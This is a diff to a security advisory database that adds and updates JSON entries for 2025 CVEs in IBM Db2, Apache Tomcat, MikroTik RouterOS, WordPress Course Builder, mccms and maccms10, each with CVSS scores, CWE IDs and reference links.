+      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"
+    }
+  ],
   "affected": [],
   "references": [
     {
@@ -24,8 +29,10 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
-    "severity": null,
+    "cwe_ids": [
+      "CWE-400"
+    ],
+    "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
     "nvd_published_at": "2025-05-29T18:15:23Z"
diff --git a/advisories/unreviewed/2025/05/GHSA-gv7f-72rw-m4wf/GHSA-gv7f-72rw-m4wf.json b/advisories/unreviewed/2025/05/GHSA-gv7f-72rw-m4wf/GHSA-gv7f-72rw-m4wf.json
new file mode 100644
index 00000000000..3a94fdca426
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-gv7f-72rw-m4wf/GHSA-gv7f-72rw-m4wf.json
@@ -0,0 +1,36 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-gv7f-72rw-m4wf",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-2518"
+  ],
+  "details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5.0 through 11.5.9 and 12.1.0 through 12.1.1 \n\nis vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2518"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.ibm.com/support/pages/node/7235072"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-789"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T20:15:26Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json b/advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json
new file mode 100644
index 00000000000..259cba9a950
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json
@@ -0,0 +1,31 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-h2fw-rfh5-95r3",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-46701"
+  ],
+  "details": "Improper Handling of Case Sensitivity vulnerability in Apache Tomcat's GCI servlet allows security constraint bypass of security constraints that apply to the pathInfo component of a URI mapped to the CGI servlet.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.6, from 10.1.0-M1 through 10.1.40, from 9.0.0.M1 through 9.0.104.\n\nUsers are recommended to upgrade to version 11.0.7, 10.1.41 or 9.0.105, which fixes the issue.",
+  "severity": [],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46701"
+    },
+    {
+      "type": "WEB",
+      "url": "https://lists.apache.org/thread/xhqqk9w5q45srcdqhogdk04lhdscv30j"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-178"
+    ],
+    "severity": null,
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T19:15:27Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-j46p-x79w-x93v/GHSA-j46p-x79w-x93v.json b/advisories/unreviewed/2025/05/GHSA-j46p-x79w-x93v/GHSA-j46p-x79w-x93v.json
new file mode 100644
index 00000000000..42a80bfdf12
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-j46p-x79w-x93v/GHSA-j46p-x79w-x93v.json
@@ -0,0 +1,48 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-j46p-x79w-x93v",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-5325"
+  ],
+  "details": "A vulnerability has been found in zhilink 智互联(深圳)科技有限公司 ADP Application Developer Platform 应用开发者平台 1.0.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /adpweb/a/ica/api/service/rfa/testService. The manipulation leads to improper neutralization of special elements used in a template engine. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5325"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.310495"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.310495"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.581275"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-791"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T20:15:27Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-q4jx-xcc8-66qx/GHSA-q4jx-xcc8-66qx.json b/advisories/unreviewed/2025/05/GHSA-q4jx-xcc8-66qx/GHSA-q4jx-xcc8-66qx.json
new file mode 100644
index 00000000000..53d4ce31152
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-q4jx-xcc8-66qx/GHSA-q4jx-xcc8-66qx.json
@@ -0,0 +1,36 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-q4jx-xcc8-66qx",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2024-54952"
+  ],
+  "details": "MikroTik RouterOS 6.40.5, the SMB service contains a memory corruption vulnerability. Remote, unauthenticated attackers can exploit this issue by sending specially crafted packets, triggering a null pointer dereference. This leads to a Remote Denial of Service (DoS), rendering the SMB service unavailable.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54952"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/noobone123/RouterOS-issues/blob/main/README.md"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-476"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T20:15:26Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-r9cv-8q58-jr55/GHSA-r9cv-8q58-jr55.json b/advisories/unreviewed/2025/05/GHSA-r9cv-8q58-jr55/GHSA-r9cv-8q58-jr55.json
new file mode 100644
index 00000000000..ed047b7d611
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-r9cv-8q58-jr55/GHSA-r9cv-8q58-jr55.json
@@ -0,0 +1,36 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-r9cv-8q58-jr55",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-48336"
+  ],
+  "details": "Deserialization of Untrusted Data vulnerability in ThimPress Course Builder allows Object Injection.This issue affects Course Builder: from n/a before 3.6.6.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48336"
+    },
+    {
+      "type": "WEB",
+      "url": "https://patchstack.com/database/wordpress/theme/course-builder/vulnerability/wordpress-course-builder-3-6-6-php-object-injection-vulnerability?_s_id=cve"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-502"
+    ],
+    "severity": "CRITICAL",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T19:15:28Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-r9m9-c69f-7vx9/GHSA-r9m9-c69f-7vx9.json b/advisories/unreviewed/2025/05/GHSA-r9m9-c69f-7vx9/GHSA-r9m9-c69f-7vx9.json
index 815b8058d0b..2e96e42b9f9 100644
--- a/advisories/unreviewed/2025/05/GHSA-r9m9-c69f-7vx9/GHSA-r9m9-c69f-7vx9.json
+++ b/advisories/unreviewed/2025/05/GHSA-r9m9-c69f-7vx9/GHSA-r9m9-c69f-7vx9.json
@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-r9m9-c69f-7vx9",
-  "modified": "2025-05-19T15:31:02Z",
+  "modified": "2025-05-29T21:31:36Z",
   "published": "2025-05-19T15:31:02Z",
   "aliases": [
     "CVE-2025-48255"
diff --git a/advisories/unreviewed/2025/05/GHSA-wjh7-pgpr-92w5/GHSA-wjh7-pgpr-92w5.json b/advisories/unreviewed/2025/05/GHSA-wjh7-pgpr-92w5/GHSA-wjh7-pgpr-92w5.json
new file mode 100644
index 00000000000..63a3926cc4b
--- /dev/null
+++ b/advisories/unreviewed/2025/05/GHSA-wjh7-pgpr-92w5/GHSA-wjh7-pgpr-92w5.json
@@ -0,0 +1,52 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-wjh7-pgpr-92w5",
+  "modified": "2025-05-29T21:31:37Z",
+  "published": "2025-05-29T21:31:37Z",
+  "aliases": [
+    "CVE-2025-5327"
+  ],
+  "details": "A vulnerability was found in chshcms mccms 2.7. It has been classified as critical. This affects the function index of the file sys/apps/controllers/api/Gf.php. The manipulation of the argument pic leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5327"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/caigo8/CVE-md/blob/main/Mccms_V2.7/%E5%89%8D%E5%8F%B0SSRF.md"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.310497"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.310497"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.582295"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-918"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2025-05-29T21:15:26Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-xg77-2m7h-4885/GHSA-xg77-2m7h-4885.json b/advisories/unreviewed/2025/05/GHSA-xg77-2m7h-4885/GHSA-xg77-2m7h-4885.json
index 012a145bc7e..866f3f74a04 100644
--- a/advisories/unreviewed/2025/05/GHSA-xg77-2m7h-4885/GHSA-xg77-2m7h-4885.json
+++ b/advisories/unreviewed/2025/05/GHSA-xg77-2m7h-4885/GHSA-xg77-2m7h-4885.json
@@ -1,13 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-xg77-2m7h-4885",
-  "modified": "2025-05-27T18:30:51Z",
+  "modified": "2025-05-29T21:31:37Z",
   "published": "2025-05-27T18:30:51Z",
   "aliases": [
     "CVE-2025-45475"
   ],
   "details": "maccms10 v2025.1000.4047 is vulnerable to Server-Side request forgery (SSRF) in Friend Link Management.",
-  "severity": [],
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L"
+    }
+  ],
   "affected": [],
   "references": [
     {
@@ -20,8 +25,10 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
-    "severity": null,
+    "cwe_ids": [
+      "CWE-918"
+    ],
+    "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
     "nvd_published_at": "2025-05-27T18:15:31Z"